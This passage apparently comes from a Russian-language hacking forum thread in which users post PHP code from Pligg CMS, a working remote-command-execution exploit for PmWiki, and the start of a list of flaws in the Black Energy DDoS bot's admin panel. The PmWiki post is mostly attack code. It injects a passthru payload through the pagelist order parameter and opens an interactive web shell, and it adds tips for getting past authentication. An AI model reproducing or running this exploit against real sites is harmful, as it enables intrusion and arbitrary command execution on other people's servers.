[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Allow_User_Change_Templates'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]Allow_User_Change_Templates[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]$main_smarty[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]assign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'nav_set'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]// check for redirects
[/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#0000BB"]mnminclude[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'redirector.php'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]redirector[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'REQUEST_URI'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location:[/COLOR][COLOR="#0000BB"]$my_pligg_base[/COLOR][COLOR="#DD0000"]/404error.php"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]// $main_smarty->assign('tpl_center', '404error');
// $main_smarty->display($the_template . '/pligg.tpl');
[/COLOR][COLOR="#007700"]die();
}
[/COLOR][COLOR="#FF8000"]// Hide private group stories
[/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]link_group_id[/COLOR][COLOR="#007700"])
{
[/COLOR][COLOR="#0000BB"]$privacy[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_var[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT group_privacy FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]table_groups[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" WHERE group_id =[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]link_group_id[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$privacy[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'private'[/COLOR][COLOR="#007700"]&& ![/COLOR][COLOR="#0000BB"]isMember[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]link_group_id[/COLOR][COLOR="#007700"]))
{
die([/COLOR][COLOR="#DD0000"]'Access denied'[/COLOR][COLOR="#007700"]);
}
}
if(isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'process'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]sanitize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'process'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]) !=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]){
if ([/COLOR][COLOR="#0000BB"]sanitize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'process'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"])==[/COLOR][COLOR="#DD0000"]'newcomment'[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]check_referrer[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$vars[/COLOR][COLOR="#007700"]= array([/COLOR][COLOR="#DD0000"]'user_id'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]author[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'link_id'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]check_actions[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'comment_subscription'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$vars[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]insert_comment[/COLOR][COLOR="#007700"]();
}
}
[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$requestID[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]is_numeric[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]) ?[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]] :[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
if(isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]sanitize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]) !=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]){[/COLOR][COLOR="#0000BB"]$requestTitle[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]sanitize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]);}
[/COLOR][COLOR="#FF8000"]// if we're using "Friendly URL's for categories"
[/COLOR][COLOR="#007700"]if(isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'category'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]sanitize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'category'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]) !=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]){[/COLOR][COLOR="#0000BB"]$thecat[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get_var[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT category_id FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]table_categories[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" WHERE `category_safe_name` = '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$db[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]escape[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]sanitize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'category'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]))).[/COLOR][COLOR="#DD0000"]"';"[/COLOR][COLOR="#007700"]);}
if([/COLOR][COLOR="#0000BB"]$requestID[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]enable_friendly_urls[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#FF8000"]// if we're using friendly urls, don't call /story.php?id=XX or /story/XX/
// this is to prevent google from thinking it's spam
// more work needs to be done on this
[/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Link[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$requestID[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]read[/COLOR][COLOR="#007700"]() ==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]|| ([/COLOR][COLOR="#0000BB"]$thecat[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]category[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]$thecat[/COLOR][COLOR="#007700"])){
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location:[/COLOR][COLOR="#0000BB"]$my_pligg_base[/COLOR][COLOR="#DD0000"]/404error.php"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]// $main_smarty->assign('tpl_center', '404error');
// $main_smarty->display($the_template . '/pligg.tpl');
[/COLOR][COLOR="#007700"]die();
}
[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getmyurl[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"storyURL"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]category_safe_name[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]category[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]title_url[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]Header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP/1.1 301 Moved Permanently"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]Header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]);
die();
}
[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]// AFFERO GENERAL PUBLIC LICENSE is also included in the file called "COPYING".
[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]str_ends_with[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$haystack[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$needle[/COLOR][COLOR="#007700"]) {
return ([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$haystack[/COLOR][COLOR="#007700"], -[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$needle[/COLOR][COLOR="#007700"]) ) ===[/COLOR][COLOR="#0000BB"]$needle[/COLOR][COLOR="#007700"]) ||[/COLOR][COLOR="#0000BB"]$needle[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#FF8000"]/* If the URL is too verbose (specifying index.php or page 1), then, of course
* we just want the main page, which defaults to page 1 anyway. */
[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]parse_url[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'REQUEST_URI'[/COLOR][COLOR="#007700"]]);
if ([/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'REQUEST_URI'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]'index.php'[/COLOR][COLOR="#007700"]) !==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]|| ( isset ([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'page'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'page'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]))
{
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP/1.1 301 Moved Permanently"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'QUERY_STRING'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'page=1'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'QUERY_STRING'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location: ./"[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'QUERY_STRING'[/COLOR][COLOR="#007700"]] ?[/COLOR][COLOR="#DD0000"]'?'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'QUERY_STRING'[/COLOR][COLOR="#007700"]] :[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]));
exit;
}
elseif ([/COLOR][COLOR="#0000BB"]str_ends_with[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'path'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]'/page/1'[/COLOR][COLOR="#007700"]) ||[/COLOR][COLOR="#0000BB"]str_ends_with[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'path'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]'/page/1/'[/COLOR][COLOR="#007700"]))
{
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP/1.1 301 Moved Permanently"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location: ../"[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'QUERY_STRING'[/COLOR][COLOR="#007700"]] ?[/COLOR][COLOR="#DD0000"]'?'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'QUERY_STRING'[/COLOR][COLOR="#007700"]] :[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]));
exit;
}
[/COLOR][/COLOR]
|
|
|
|

27.11.2011, 19:46
|
|
Guest
Сообщений: n/a
Провел на форуме: 28093
Репутация:
11
|
|
[B][COLOR="Yellow"]PmWiki
Exploit:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"] \n"[/COLOR][COLOR="#007700"];
print[/COLOR][COLOR="#DD0000"]"\nExample....: php[/COLOR][COLOR="#0000BB"]$argv[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#DD0000"]localhost /"[/COLOR][COLOR="#007700"];
print[/COLOR][COLOR="#DD0000"]"\nExample....: php[/COLOR][COLOR="#0000BB"]$argv[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#DD0000"]localhost /pmwiki/\n"[/COLOR][COLOR="#007700"];
die();
}
[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$argv[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$argv[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]$phpcode[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"']);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD]));print(___);die;#"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$payload[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"action=edit&post=save&n=Cmd.Shell&text=(:pagelist order=[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$phpcode[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]:)"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"POST[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]pmwiki.php HTTP/1.0\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Host:[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Content-Length: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$payload[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Content-Type: application/x-www-form-urlencoded\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Connection: close\r\n\r\n[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$payload[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];
if (![/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/Location/"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]http_send[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"]))) die([/COLOR][COLOR="#DD0000"]"\n[-] Edit password required?!\n"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"POST[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]pmwiki.php HTTP/1.0\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Host:[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]}[/COLOR][COLOR="#DD0000"]\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Cmd: %s\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Content-Length: 11\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Content-Type: application/x-www-form-urlencoded\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Connection: close\r\n\r\nn=Cmd.Shell"[/COLOR][COLOR="#007700"];
while([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])
{
print[/COLOR][COLOR="#DD0000"]"\npmwiki-shell# "[/COLOR][COLOR="#007700"];
if (([/COLOR][COLOR="#0000BB"]$cmd[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]trim[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]STDIN[/COLOR][COLOR="#007700"]))) ==[/COLOR][COLOR="#DD0000"]"exit"[/COLOR][COLOR="#007700"]) break;
[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]http_send[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]sprintf[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]base64_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$cmd[/COLOR][COLOR="#007700"])));
[/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/\n\r\n(.*)___/s"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$m[/COLOR][COLOR="#007700"]) ? print[/COLOR][COLOR="#0000BB"]$m[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]] : die([/COLOR][COLOR="#DD0000"]"\n[-] Exploit failed!\n"[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR]
Уязвимый код:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$code[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
foreach([/COLOR][COLOR="#0000BB"]$opt[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'=order'[/COLOR][COLOR="#007700"]] as[/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"]) {
if (@[/COLOR][COLOR="#0000BB"]$PageListSortCmp[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]])
[/COLOR][COLOR="#0000BB"]$code[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"\$c =[/COLOR][COLOR="#007700"]{[/COLOR][COLOR="#0000BB"]$PageListSortCmp[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#007700"]]}[/COLOR][COLOR="#DD0000"]; "[/COLOR][COLOR="#007700"];
else
[/COLOR][COLOR="#0000BB"]$code[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"\$c = @strcasecmp(\$PCache[\$x]['[/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#DD0000"]'],\$PCache[\$y]['[/COLOR][COLOR="#0000BB"]$o[/COLOR][COLOR="#DD0000"]']); "[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$code[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"if (\$c) return[/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#DD0000"]\$c;\n"[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]StopWatch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'PageListSort sort'[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$code[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]uasort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$list[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#0000BB"]create_function[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'$x,$y'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"global \$PCache;[/COLOR][COLOR="#0000BB"]$code[/COLOR][COLOR="#DD0000"]return 0;"[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]StopWatch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'PageListSort end'[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
P.S. Без авторизации проходит только на нескольких сайтах, а в остальных нужно авторизоватся и добавить в пакет ваш User-Agent и Cookie. Т.е.
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"User-Agent: bla-bla\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$packet[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"Cookie: blabla=6gui67gg7t76rf7iiiirvr76r67v\r\n"[/COLOR][COLOR="#007700"];
[/COLOR][/COLOR]
Кто допер, тот допер...
|
|
|
|

09.12.2011, 17:30
|
|
Guest
Сообщений: n/a
Провел на форуме: 29020
Репутация:
55
|
|
Уязвимости админ панели у Black Energy ddos bot
1) Версия 1.92
Возможно раскрытие путей через session_start();, для этого в PHPSESSID установите !@#$%@#@
При magic_quotes_gpc = off возможна sql inj в REPLACE INTO
Уязвимый код в index.php:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]]))
{
if (!isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'spoof_ip'[/COLOR][COLOR="#007700"]]))
[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'opt'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'spoof_ip'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
